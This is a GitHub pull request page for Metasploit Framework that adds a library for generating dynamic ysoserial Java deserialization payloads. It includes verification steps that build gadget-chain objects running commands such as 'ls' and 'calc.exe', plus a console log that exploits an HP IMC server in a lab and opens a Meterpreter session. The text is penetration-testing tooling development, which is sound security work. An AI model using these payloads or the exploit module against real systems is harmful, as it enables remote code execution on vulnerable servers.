Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We鈥檒l occasionally send you account related emails.

Already on GitHub? Sign in to your account

Import and generate dynamic ysoserial Java serialization objects #11125

Merged
merged 16 commits into from
Jan 15, 2019

Conversation

asoto-r7
Copy link
Contributor

@asoto-r7 asoto-r7 commented Dec 14, 2018

Overview

Problem: Some exploit modules targeting Java deserialization vulnerabilities use "blobs" like Base64 strings, which make the code difficult to read, change, and verify. Personally, I spent a full day reverse engineering a recent Java serialized object, understanding ysoserial, and recreating a verified "blob" to land PR #10947. And yet, despite my comments and notes, it will be difficult for the next person to understand or modify. And so...

Proposed solution: To make Java serialized objects more easily readable and adaptable, this PR adds support for importing and generating dynamic objects from ysoserial and hopefully fixes #10057). Rather than invoking ysoserial directly (and all the Java overhead that would entail), this PR uses a once-run Docker container. The docker container will output a JSON file (data/ysoserial_payloads.json) containing the relevant binary and offsets so that a Metasploit library can quickly generate a dynamic Java serialized object.

Current Status

Ready for landing. Pending @wchen-r7's review.

Considerations for future work:

  • Finish support ysoserial-modified.jar with it's bash, cmd, and powershell variations.
  • Support templates with complex inputs (eg. Myfaces2 which requires a <base_url>:<classname> formatted string or URLDNS which requires a URL).

Feedback welcome! Thanks! 馃槂

Verification

  • Please review lib/msf/util/java_deserialization.rb to identify code that significantly contradicts our current or best practices.

  • Change directory to the tools/payloads/ysoserial.

# cd ~/git/r7/metasploit-framework/
# cd tools/payloads/ysoserial
  • Test the JSON building script.
# cat ./runme.sh
# ./runme.sh
  • Observe a handful of errors from 8 (currently unsupported) complex payloads, but 22 successfully generated payloads.
 DONE!  Successfully generated 0 static payloads and 22 dynamic payloads.  Skipped 8 unsupported payloads.
  • Confirm the output of the JSON file looks like properly formatted JSON and the 'data' object Base64-decodes to valid Java serialization data.
# jq -r '.["BeanShell1"]["bytes"]' ../../../data/ysoserial_payloads.json | base64 -d > /tmp/pr11125.bin
# file /tmp/pr11125.bin
# rm /tmp/pr11125.bin
  • Confirm that the above command successfully extracted a Java serialization payload.
 /tmp/pr11125.bin: Java serialization data, version 5
  • Make sure the library works when manually invoked from msfconsole. For example, to generate and write to file a CommonsBeanutils1 that invokes ls:
# msfconsole -qx 'pry'
pry> bytes = ::Msf::Util::JavaDeserialization.ysoserial_payload("CommonsBeanutils1","ls")
pry> File.open("/tmp/CommonsBeanutils1_ls.metasploit.dat", 'wb') { |file| file.write(bytes) }
=> 2763
  • Generate a known-good ysoserial payload for comparison:
# wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
# java -jar ysoserial-master-SNAPSHOT.jar CommonsBeanutils1 "ls" > /tmp/CommonsBeanutils1_ls.ysoserial.dat
WARNING: [...]
  • Confirm that the diff only outputs the randomized timestamp embedded by ysoserial.
# xxd /tmp/CommonsBeanutils1_ls.ysoserial.dat > /tmp/CommonsBeanutils1_ls.ysoserial.hex
# xxd /tmp/CommonsBeanutils1_ls.metasploit.dat > /tmp/CommonsBeanutils1_ls.metasploit.hex
# diff /tmp/CommonsBeanutils1_ls.ysoserial.hex /tmp/CommonsBeanutils1_ls.metasploit.hex
117,120c117,120
< 00000730: 6170 5461 626c 6501 001e 7973 6f73 6572  apTable...ysoser
< 00000740: 6961 6c2f 5077 6e65 7232 3630 3339 3132  ial/Pwner2603912
< 00000750: 3431 3533 3534 3231 0100 204c 7973 6f73  41535421.. Lysos
< 00000760: 6572 6961 6c2f 5077 6e65 7232 3630 3339  erial/Pwner26039
< 00000770: 3132 3431 3533 3534 3231 3b00 2100 0200  1241535421;.!...
---
> 00000730: 6170 5461 626c 6501 001e 6d73 4c54 5770  apTable...msLTWp
> 00000740: 3269 5236 436a 4a43 4879 3445 7249 6c45  2iR6CjJCHy4ErIlE
> 00000750: 6869 7a56 7264 4239 0100 204c 6d73 4c54  hizVrdB9.. LmsLT
> 00000760: 5770 3269 5236 436a 4a43 4879 3445 7249  Wp2iR6CjJCHy4ErI
> 00000770: 6c45 6869 7a56 7264 4239 3b00 2100 0200  lEhizVrdB9;.!...
# rm /tmp/CommonsBeanutils1_ls*
  • Confirm that length and buffer offsets appear in the JSON:
# cd ~/git/metasploit-framework
# echo -n "Length Offset for Clojure: "; jq '.["Clojure"]["lengthOffset"][]' -r data/ysoserial_payloads.json
Length Offset for Clojure: 897
# echo -n "Buffer Offset for Clojure: "; jq '.["Clojure"]["bufferOffset"][]' -r data/ysoserial_payloads.json
Length Offset for Clojure: 942
  • Confirm that length offsets function as expected, including overflowing into the upper byte:
# msfconsole -qx 'pry'
pry> ::Msf::Util::JavaDeserialization.ysoserial_payload("Clojure","")[896..897].unpack('H*')
=> ["002e"]
pry> ::Msf::Util::JavaDeserialization.ysoserial_payload("Clojure","A")[896..897].unpack('H*')
=> ["002f"]
::Msf::Util::JavaDeserialization.ysoserial_payload("Clojure","A"*210)[896..897].unpack('H*')
=> ["0100"]
  • Confirm that buffer offsets function as expected:
# msfconsole -qx 'pry'
pry> ::Msf::Util::JavaDeserialization.ysoserial_payload("Clojure","")[941..942]
=> "\"\""
pry> ::Msf::Util::JavaDeserialization.ysoserial_payload("Clojure","calc.exe")[941..951]
=> "\"calc.exe\")"
  • Finally, please confirm that the updated hp_imc_java_deserialize module works with the new updates:
msf5> use exploit/windows/http/hp_imc_java_deserialize
msf5 exploit(windows/http/hp_imc_java_deserialize) > set RHOSTS 192.168.199.152
RHOSTS => 192.168.199.152
msf5 exploit(windows/http/hp_imc_java_deserialize) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf5 exploit(windows/http/hp_imc_java_deserialize) > check

[*] Verifying vulnerability by sending synchronous sleep command (5250 bytes)...
[+] Response received after 10 seconds.
[+] 192.168.199.152:8080 - The target is vulnerable.
msf5 exploit(windows/http/hp_imc_java_deserialize) > exploit

[*] Started reverse TCP handler on 192.168.199.137:4444 
[*] Sending serialized Java object (11205 bytes)...
[*] Sending stage (179779 bytes) to 192.168.199.152
[*] Meterpreter session 1 opened (192.168.199.137:4444 -> 192.168.199.152:50782) at 2019-01-04 17:13:57 -0600

meterpreter > sysinfo
Computer        : DESKTOP-Q05UKIU
OS              : Windows 10 (Build 16299).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter > exit

@asoto-r7 asoto-r7 added library needs-docs blocked Blocked by one or more additional tasks labels Dec 14, 2018
tools/payloads/ysoserial/findYsoserialOffsets.rb Outdated Show resolved Hide resolved
tools/payloads/ysoserial/findYsoserialOffsets.rb Outdated Show resolved Hide resolved
tools/payloads/ysoserial/findYsoserialOffsets.rb Outdated Show resolved Hide resolved
tools/payloads/ysoserial/findYsoserialOffsets.rb Outdated Show resolved Hide resolved
tools/payloads/ysoserial/findYsoserialOffsets.rb Outdated Show resolved Hide resolved
tools/payloads/ysoserial/findYsoserialOffsets.rb Outdated Show resolved Hide resolved
tools/payloads/ysoserial/findYsoserialOffsets.rb Outdated Show resolved Hide resolved
@wchen-r7
Copy link
Contributor

You might wanna rename your file findYsoserialOffsets.rb to find_ysoserial_offsets.rb to maintain consistency.

@asoto-r7 asoto-r7 added docs and removed needs-docs labels Dec 19, 2018
@asoto-r7
Copy link
Contributor Author

@wchen: Thanks! I've renamed the helper script and added Wiki documentation. This PR is now ready for final review and potential landing.

@asoto-r7 asoto-r7 removed the blocked Blocked by one or more additional tasks label Dec 19, 2018
@wchen-r7 wchen-r7 self-assigned this Dec 20, 2018
@wchen-r7
Copy link
Contributor

I'll give this a try. Thank you!

@wchen-r7
Copy link
Contributor

Hi @asoto-r7, I have submitted a pull request to you for the rspec. You can find it here:
asoto-r7#2

Please let me know when you have resolved the issue with hp_imc_java_deserialize.rb not getting a session, and then I'll take a look at the PR again. Thank you!

@asoto-r7
Copy link
Contributor Author

asoto-r7 commented Jan 4, 2019

@wchen-r7: It's ready to go! I've also updated the testing steps above to provide a more thorough walkthrough.

The most significant bug was that when I randomized ysoserial fingerprintable strings, I was off-by-one in my character count.

(TANGENT: However, along the way, I had to troubleshoot offsets and values of both ysoserial and ysoserial-modified objects. To aid in that, I've added support for ysoserial-modified in the JSON generator only. It may well be worth finding a way to support both ysoserial and ysoserial-modified, but you should know that ysoserial-modified with the none parameter is not the same as ysoserial.)

To support future debugging, I've added a -m flag to the find_ysoserial_offsets.rb script, which uses ysoserial-modified and requires a terminal type (none, cmd, powershell, or bash). Additionally, I added a -d flag which suppresses normal output, but shows the offsets, payload lengths, and base values for each length offset. For example, here's a snippet of the JSON1 object:

$ cd tools/payloads/ysoserial/
$ docker build -t ysoserial-payloads . && docker run -it ysoserial-payloads /bin/bash
root@ae278276e52a:/# ruby find_ysoserial_offsets.rb -d
[...]
Generating payloads for JSON1...
  LENGTH OFFSET:  2646 = 0x0696
  LENGTH OFFSET:  3835 = 0x0000
  BUFFER OFFSETS: [3836]
  PAYLOAD LENGTH: 5222
[...]

@wchen-r7
Copy link
Contributor

wchen-r7 commented Jan 7, 2019

Cool thanks! I think when you were updating your code, rspec went out of date again: https://travis-ci.org/rapid7/metasploit-framework/jobs/475527324#L2480

Could you please take a look at that? Something related to this:

     ArgumentError:
       BeanShell1 payload not found in ysoserial payloads

@asoto-r7
Copy link
Contributor Author

asoto-r7 commented Jan 10, 2019

@wchen-r7: I've spent the day arguing with rspec and rake locally to no avail. Your rspec looks alright to me, and I didn't change anything that would hurt this test case. Do you see anything wrong with this?

when payload status is dynamic when a command is provided returns serialized data

... should reference this in the spec/lib/msf/util/java_deserialization_spec.rb file:

    context 'when payload status is dynamic' do
      let(:payload_name) do
        'BeanShell1'
      end
[...]
      context 'when a command is provided' do
        it 'returns serialized data' do
          default_command = 'id'
          p = Msf::Util::JavaDeserialization::ysoserial_payload(payload_name, default_command)
          expect(p).to include('java.awt.event')
        end
      end

So, testing that manually:

msf5> pry
pry> p = Msf::Util::JavaDeserialization::ysoserial_payload("BeanShell1","id")
pry> p.include?("java.awt.event")
=> true

Looks fine to me! What am I missing?

@asoto-r7
Copy link
Contributor Author

asoto-r7 commented Jan 10, 2019

Jenkins test this please

EDIT: Thanks for nothing, I guess?

image

@asoto-r7
Copy link
Contributor Author

asoto-r7 commented Jan 11, 2019

@wchen: Thanks for the rspec, especially since it caught that I had locally updated the JSON file, but committed a version that didn't contain all the payloads. The tests are passing now and it's ready for testing. I apologize for the delay.

@wchen-r7
Copy link
Contributor

I will try again. Thanks!

@wchen-r7
Copy link
Contributor

Exploit is working for me with this patch. Let me look around a bit more and then I'll try to land it. Pretty busy today w/ meetings but I think I should be able to do this today.

@wchen-r7 wchen-r7 merged commit 72d3f65 into rapid7:master Jan 15, 2019
@wchen-r7
Copy link
Contributor

wchen-r7 commented Jan 15, 2019

Release Notes

This adds support for importing and generating dynamic objects from ysoserial to make Java serialized objects more easily readable and adaptable.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs library rn-enhancement release notes enhancement
Projects
None yet
Development

Successfully merging this pull request may close these issues.

Implement native support for ysoserial
5 participants